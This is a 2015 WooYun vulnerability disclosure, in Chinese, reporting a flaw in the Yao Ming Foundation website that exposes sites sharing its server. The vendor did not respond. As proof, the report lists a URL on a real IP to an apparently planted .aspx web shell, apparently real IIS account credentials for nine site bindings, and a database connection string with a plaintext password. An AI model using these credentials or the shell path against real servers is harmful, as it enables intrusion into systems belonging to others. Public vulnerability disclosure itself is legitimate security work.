当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0126287

漏洞标题：姚基金一处设计缺陷可导致姚明基金会以及同服务器网站沦陷

相关厂商：姚基金

漏洞作者： 小龙

提交时间：2015-07-13 13:37

修复时间：2015-08-27 13:38

公开时间：2015-08-27 13:38

漏洞类型：敏感信息泄露

危害等级：高

自评Rank：20

漏洞状态：未联系到厂商或者厂商积极忽略

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-07-13： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-08-27： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

（影响姚明nba学院/cba上海队官网/爱动网）姚明，该你了。。。

详细说明：

姚基金.png

漏洞证明：

http://118.194.170.115:8042/Images/Banner/Images_4299d50ec76444409b777ac59a8142e4.aspx
ID	IIS_USER	IIS_PASS	Domain	Path
1	IUSR_IDCCUN-D8795176	IL9)'1jCl0A9e~	:8083:	E:\Web\yaofand\yaofand
2	IUSR_IDCCUN-D8795176	IL9)'1jCl0A9e~	:8042:	E:\Web\YaoFounDation\yaofoundationadmin
3	IUSR_IDCCUN-D8795176	IL9)'1jCl0A9e~	:8012:	E:\Web\YaoFounDation\testyaofoundationadmin
4	IUSR_IDCCUN-D8795176	IL9)'1jCl0A9e~	:80:www.shanghaisharks.com.cn
:80:shanghaisharks.com.cn
:8082:
:80:nba.shanghaisharks.com.cn
:80:nba.yaofoundation.cn	E:\Web\SHEastClub\ReleaseV2
5	IUSR_IDCCUN-D8795176	IL9)'1jCl0A9e~	:80:shanghaisharks.cn
:80:www.shanghaisharks.cn
:80:nba.shanghaisharks.cn
:8081:
:80:	E:\Web\SHEastClub\ReleaseV3
6	IUSR_IDCCUN-D8795176	IL9)'1jCl0A9e~	:80:iphone.misports.net
:8088:	E:\EPLInterface
7	IUSR_IDCCUN-D8795176	IL9)'1jCl0A9e~	:8080:	E:\Web\yaofand\WebAdmin
8	IUSR_IDCCUN-D8795176	IL9)'1jCl0A9e~	:8043:
:80:www.yaofoundation.cn
:80:yaofoundation.cn	E:\Web\YaoFounDation\yaofoundation
9	IUSR_IDCCUN-D8795176	IL9)'1jCl0A9e~	:80:yao.idong121.com
:8084:	E:\Web\yaofand\yaofand2
E:\Web\NBAYaoSchool\
connectionString="server=118.194.170.215;database=PreYaoFounDation;uid=yaojj;pwd=yaojijin"

修复方案：

修改密码

版权声明：转载请注明来源 小龙@乌云

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝